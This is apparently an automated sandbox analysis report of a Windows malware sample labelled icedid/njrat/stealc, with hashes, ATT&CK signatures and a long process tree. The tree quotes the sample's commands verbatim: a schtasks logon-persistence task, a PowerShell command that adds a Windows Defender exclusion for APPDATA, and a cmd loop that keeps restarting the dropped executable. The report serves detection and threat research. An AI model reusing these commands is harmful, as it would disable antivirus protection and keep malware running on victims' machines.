0da0659f4b14982f3e88fde5ab2789581c9aaf2602053b42cb3fcd42ed75c96d

Analysis

max time kernel
124s
max time network
131s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 03:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-08_ad94d8945b5c61a7666bdee9a1d52914_icedid_njrat_stealc.exe
Size 4.1MB
Sample260910-d2hbraem31
SHA256 0da0659f4b14982f3e88fde5ab2789581c9aaf2602053b42cb3fcd42ed75c96d
MD5 ad94d8945b5c61a7666bdee9a1d52914
SHA1 f853fd6d9eb327d29ba256c4c26f123fa05b8f0f
SHA512 60ca87047d56e6aa7f66ed78aae5922da27f923a7490d83d22720975a228325ae625da7680c8ced3b9ae39e5bd635d649aa63c5a375ce1e15719e3f77f91ae31
SSDEEP 98304:s+hxpLJlKkhskWGoqZ92yVG/uzGNV9HkAn:s+hx9ekiDByQyVG/uzGNVyAn
TLSH
T18816D02BB26901E8D1BFD17CC9065907EBB2780543A0A7DF12E046A62F77BE14E7E315
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4552	powershell.exe
1416	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
5956	PeerService.exe
1316	PeerService.exe

Discovers running processes 1 TTPs 60 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3700	tasklist.exe
5540	tasklist.exe
4172	tasklist.exe
1332	tasklist.exe
1140	tasklist.exe
5572	tasklist.exe
5892	tasklist.exe
4112	tasklist.exe
1524	tasklist.exe
3528	tasklist.exe
5756	tasklist.exe
1900	tasklist.exe
2428	tasklist.exe
4104	tasklist.exe
5948	tasklist.exe
5572	tasklist.exe
1620	tasklist.exe
4924	tasklist.exe
3216	tasklist.exe
2408	tasklist.exe
252	tasklist.exe
2552	tasklist.exe
6076	tasklist.exe
5520	tasklist.exe
4172	tasklist.exe
2252	tasklist.exe
1900	tasklist.exe
1408	tasklist.exe
1500	tasklist.exe
1048	tasklist.exe
4092	tasklist.exe
3912	tasklist.exe
3452	tasklist.exe
1712	tasklist.exe
1128	tasklist.exe
624	tasklist.exe
1452	tasklist.exe
3496	tasklist.exe
5404	tasklist.exe
4120	tasklist.exe
4164	tasklist.exe
1548	tasklist.exe
4588	tasklist.exe
1912	tasklist.exe
6076	tasklist.exe
2996	tasklist.exe
5920	tasklist.exe
4780	tasklist.exe
1208	tasklist.exe
4472	tasklist.exe
1924	tasklist.exe
5248	tasklist.exe
5800	tasklist.exe
4892	tasklist.exe
2740	tasklist.exe
5248	tasklist.exe
3872	tasklist.exe
1412	tasklist.exe
5300	tasklist.exe
3148	tasklist.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5080	cmd.exe
2752	cmd.exe
4240	cmd.exe
2012	cmd.exe
2548	cmd.exe

Delays execution with timeout.exe 60 IoCs

defense_evasion

pid	Process
572	timeout.exe
5648	timeout.exe
3944	timeout.exe
4772	timeout.exe
2256	timeout.exe
5336	timeout.exe
1976	timeout.exe
5724	timeout.exe
5240	timeout.exe
3364	timeout.exe
3888	timeout.exe
2536	timeout.exe
912	timeout.exe
2512	timeout.exe
200	timeout.exe
4476	timeout.exe
3888	timeout.exe
2512	timeout.exe
3924	timeout.exe
4296	timeout.exe
3536	timeout.exe
3760	timeout.exe
4740	timeout.exe
3384	timeout.exe
1208	timeout.exe
4200	timeout.exe
3456	timeout.exe
2356	timeout.exe
2616	timeout.exe
5836	timeout.exe
5696	timeout.exe
5724	timeout.exe
2164	timeout.exe
2744	timeout.exe
1208	timeout.exe
3260	timeout.exe
3036	timeout.exe
5816	timeout.exe
4448	timeout.exe
4696	timeout.exe
2808	timeout.exe
5272	timeout.exe
5708	timeout.exe
4268	timeout.exe
5800	timeout.exe
5016	timeout.exe
2224	timeout.exe
5636	timeout.exe
5788	timeout.exe
2984	timeout.exe
5368	timeout.exe
4780	timeout.exe
5728	timeout.exe
564	timeout.exe
2396	timeout.exe
4636	timeout.exe
3176	timeout.exe
5740	timeout.exe
3532	timeout.exe
2224	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4432	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4552	powershell.exe
4552	powershell.exe
4552	powershell.exe
1416	powershell.exe
1416	powershell.exe
1416	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4120	tasklist.exe
Token: SeDebugPrivilege	4552	powershell.exe
Token: SeDebugPrivilege	1924	tasklist.exe
Token: SeDebugPrivilege	1416	powershell.exe
Token: SeIncreaseQuotaPrivilege	4552	powershell.exe
Token: SeSecurityPrivilege	4552	powershell.exe
Token: SeTakeOwnershipPrivilege	4552	powershell.exe
Token: SeLoadDriverPrivilege	4552	powershell.exe
Token: SeSystemProfilePrivilege	4552	powershell.exe
Token: SeSystemtimePrivilege	4552	powershell.exe
Token: SeProfSingleProcessPrivilege	4552	powershell.exe
Token: SeIncBasePriorityPrivilege	4552	powershell.exe
Token: SeCreatePagefilePrivilege	4552	powershell.exe
Token: SeBackupPrivilege	4552	powershell.exe
Token: SeRestorePrivilege	4552	powershell.exe
Token: SeShutdownPrivilege	4552	powershell.exe
Token: SeDebugPrivilege	4552	powershell.exe
Token: SeSystemEnvironmentPrivilege	4552	powershell.exe
Token: SeRemoteShutdownPrivilege	4552	powershell.exe
Token: SeUndockPrivilege	4552	powershell.exe
Token: SeManageVolumePrivilege	4552	powershell.exe
Token: 33	4552	powershell.exe
Token: 34	4552	powershell.exe
Token: 35	4552	powershell.exe
Token: 36	4552	powershell.exe
Token: SeIncreaseQuotaPrivilege	1416	powershell.exe
Token: SeSecurityPrivilege	1416	powershell.exe
Token: SeTakeOwnershipPrivilege	1416	powershell.exe
Token: SeLoadDriverPrivilege	1416	powershell.exe
Token: SeSystemProfilePrivilege	1416	powershell.exe
Token: SeSystemtimePrivilege	1416	powershell.exe
Token: SeProfSingleProcessPrivilege	1416	powershell.exe
Token: SeIncBasePriorityPrivilege	1416	powershell.exe
Token: SeCreatePagefilePrivilege	1416	powershell.exe
Token: SeBackupPrivilege	1416	powershell.exe
Token: SeRestorePrivilege	1416	powershell.exe
Token: SeShutdownPrivilege	1416	powershell.exe
Token: SeDebugPrivilege	1416	powershell.exe
Token: SeSystemEnvironmentPrivilege	1416	powershell.exe
Token: SeRemoteShutdownPrivilege	1416	powershell.exe
Token: SeUndockPrivilege	1416	powershell.exe
Token: SeManageVolumePrivilege	1416	powershell.exe
Token: 33	1416	powershell.exe
Token: 34	1416	powershell.exe
Token: 35	1416	powershell.exe
Token: 36	1416	powershell.exe
Token: SeDebugPrivilege	1524	tasklist.exe
Token: SeDebugPrivilege	2740	tasklist.exe
Token: SeDebugPrivilege	1900	tasklist.exe
Token: SeDebugPrivilege	3528	tasklist.exe
Token: SeDebugPrivilege	3700	tasklist.exe
Token: SeDebugPrivilege	5248	tasklist.exe
Token: SeDebugPrivilege	5520	tasklist.exe
Token: SeDebugPrivilege	1500	tasklist.exe
Token: SeDebugPrivilege	5540	tasklist.exe
Token: SeDebugPrivilege	6076	tasklist.exe
Token: SeDebugPrivilege	1408	tasklist.exe
Token: SeDebugPrivilege	4892	tasklist.exe
Token: SeDebugPrivilege	5920	tasklist.exe
Token: SeDebugPrivilege	4172	tasklist.exe
Token: SeDebugPrivilege	5572	tasklist.exe
Token: SeDebugPrivilege	1128	tasklist.exe
Token: SeDebugPrivilege	2996	tasklist.exe
Token: SeDebugPrivilege	3872	tasklist.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1804 wrote to memory of 5080	1804	2026-09-08_ad94d8945b5c61a7666bdee9a1d52914_icedid_njrat_stealc.exe	90
PID 5080 wrote to memory of 4432	5080	cmd.exe	92
PID 1804 wrote to memory of 5956	1804	2026-09-08_ad94d8945b5c61a7666bdee9a1d52914_icedid_njrat_stealc.exe	93
PID 5956 wrote to memory of 2752	5956	PeerService.exe	95
PID 5956 wrote to memory of 4240	5956	PeerService.exe	96
PID 2752 wrote to memory of 4552	2752	cmd.exe	99
PID 4240 wrote to memory of 4120	4240	cmd.exe	101
PID 4240 wrote to memory of 5072	4240	cmd.exe	102
PID 1316 wrote to memory of 2548	1316	PeerService.exe	105
PID 1316 wrote to memory of 2012	1316	PeerService.exe	106
PID 2012 wrote to memory of 1924	2012	cmd.exe	110
PID 2012 wrote to memory of 5396	2012	cmd.exe	111
PID 2548 wrote to memory of 1416	2548	cmd.exe	112
PID 4240 wrote to memory of 4780	4240	cmd.exe	114
PID 2012 wrote to memory of 2536	2012	cmd.exe	115
PID 4240 wrote to memory of 1524	4240	cmd.exe	116
PID 4240 wrote to memory of 5740	4240	cmd.exe	117
PID 2012 wrote to memory of 2740	2012	cmd.exe	118
PID 2012 wrote to memory of 5696	2012	cmd.exe	119
PID 4240 wrote to memory of 5836	4240	cmd.exe	120
PID 2012 wrote to memory of 5816	2012	cmd.exe	121
PID 4240 wrote to memory of 1900	4240	cmd.exe	122
PID 4240 wrote to memory of 5496	4240	cmd.exe	123
PID 2012 wrote to memory of 3528	2012	cmd.exe	124
PID 2012 wrote to memory of 3552	2012	cmd.exe	125
PID 4240 wrote to memory of 4448	4240	cmd.exe	126
PID 2012 wrote to memory of 1208	2012	cmd.exe	127
PID 4240 wrote to memory of 3700	4240	cmd.exe	128
PID 4240 wrote to memory of 5948	4240	cmd.exe	129
PID 2012 wrote to memory of 5248	2012	cmd.exe	130
PID 2012 wrote to memory of 5096	2012	cmd.exe	131
PID 4240 wrote to memory of 2224	4240	cmd.exe	132
PID 2012 wrote to memory of 5636	2012	cmd.exe	133
PID 4240 wrote to memory of 5520	4240	cmd.exe	134
PID 4240 wrote to memory of 5320	4240	cmd.exe	135
PID 2012 wrote to memory of 1500	2012	cmd.exe	136
PID 2012 wrote to memory of 3260	2012	cmd.exe	137
PID 4240 wrote to memory of 3176	4240	cmd.exe	138
PID 2012 wrote to memory of 4268	2012	cmd.exe	139
PID 4240 wrote to memory of 5540	4240	cmd.exe	140
PID 4240 wrote to memory of 1412	4240	cmd.exe	141
PID 2012 wrote to memory of 6076	2012	cmd.exe	142
PID 2012 wrote to memory of 1636	2012	cmd.exe	143
PID 4240 wrote to memory of 4200	4240	cmd.exe	145
PID 2012 wrote to memory of 5788	2012	cmd.exe	146
PID 2012 wrote to memory of 1408	2012	cmd.exe	147
PID 2012 wrote to memory of 5764	2012	cmd.exe	148
PID 4240 wrote to memory of 4892	4240	cmd.exe	149
PID 4240 wrote to memory of 1344	4240	cmd.exe	150
PID 2012 wrote to memory of 5724	2012	cmd.exe	151
PID 4240 wrote to memory of 4696	4240	cmd.exe	152
PID 4240 wrote to memory of 5920	4240	cmd.exe	153
PID 4240 wrote to memory of 5864	4240	cmd.exe	154
PID 2012 wrote to memory of 4172	2012	cmd.exe	155
PID 2012 wrote to memory of 1496	2012	cmd.exe	156
PID 4240 wrote to memory of 2984	4240	cmd.exe	157
PID 2012 wrote to memory of 5800	2012	cmd.exe	158
PID 2012 wrote to memory of 5572	2012	cmd.exe	159
PID 2012 wrote to memory of 4156	2012	cmd.exe	160
PID 4240 wrote to memory of 1128	4240	cmd.exe	161
PID 4240 wrote to memory of 1612	4240	cmd.exe	162
PID 2012 wrote to memory of 2512	2012	cmd.exe	163
PID 4240 wrote to memory of 3456	4240	cmd.exe	164
PID 4240 wrote to memory of 2996	4240	cmd.exe	165

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-09-08_ad94d8945b5c61a7666bdee9a1d52914_icedid_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-08_ad94d8945b5c61a7666bdee9a1d52914_icedid_njrat_stealc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1804
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C "schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F >nul 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5080
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4432
- C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
  "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5956
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2752
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4552
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4240
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4120
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5072
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4780
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1524
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5740
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5836
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1900
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5496
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4448
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3700
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5948
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2224
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5520
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5320
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3176
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5540
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1412
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4200
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4892
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1344
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4696
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5920
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5864
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2984
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1128
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1612
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3456
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2996
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1228
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5016
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:4780
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2396
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5696
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:1900
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5496
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5336
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:624
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1304
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5708
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:1048
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5488
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3260
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:4164
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4444
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5240
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:1412
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5772
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5728
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:4104
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1164
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:564
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:1140
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5920
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2164
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:1548
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3776
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5648
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:3912
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2340
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:912
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:4924
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3764
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2396
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:1452
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5696
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3924
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:5892
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1900
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3944
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:5248
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5096
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1208
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:4588
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:860
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3036
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:2408
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4084
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3536
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:252
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3896
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3888
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:6076
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2868
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3532
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:1912
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4224
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4772
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:1712
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4440
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4636

C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1316
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2548
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1416
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2012
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1924
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5396
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2536
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2740
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5696
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5816
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3528
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3552
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1208
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5248
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5096
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5636
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1500
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3260
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4268
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:6076
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1636
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5788
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1408
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5764
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5724
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4172
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1496
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5800
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5572
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4156
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2512
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3872
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4688
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2356
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1620
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1888
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2256
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5756
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4512
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:200
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1208
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2352
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4476
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1332
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2224
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2808
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:2428
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:252
- - C:\Windows\system32\timeout.exe
    timeout /t 5
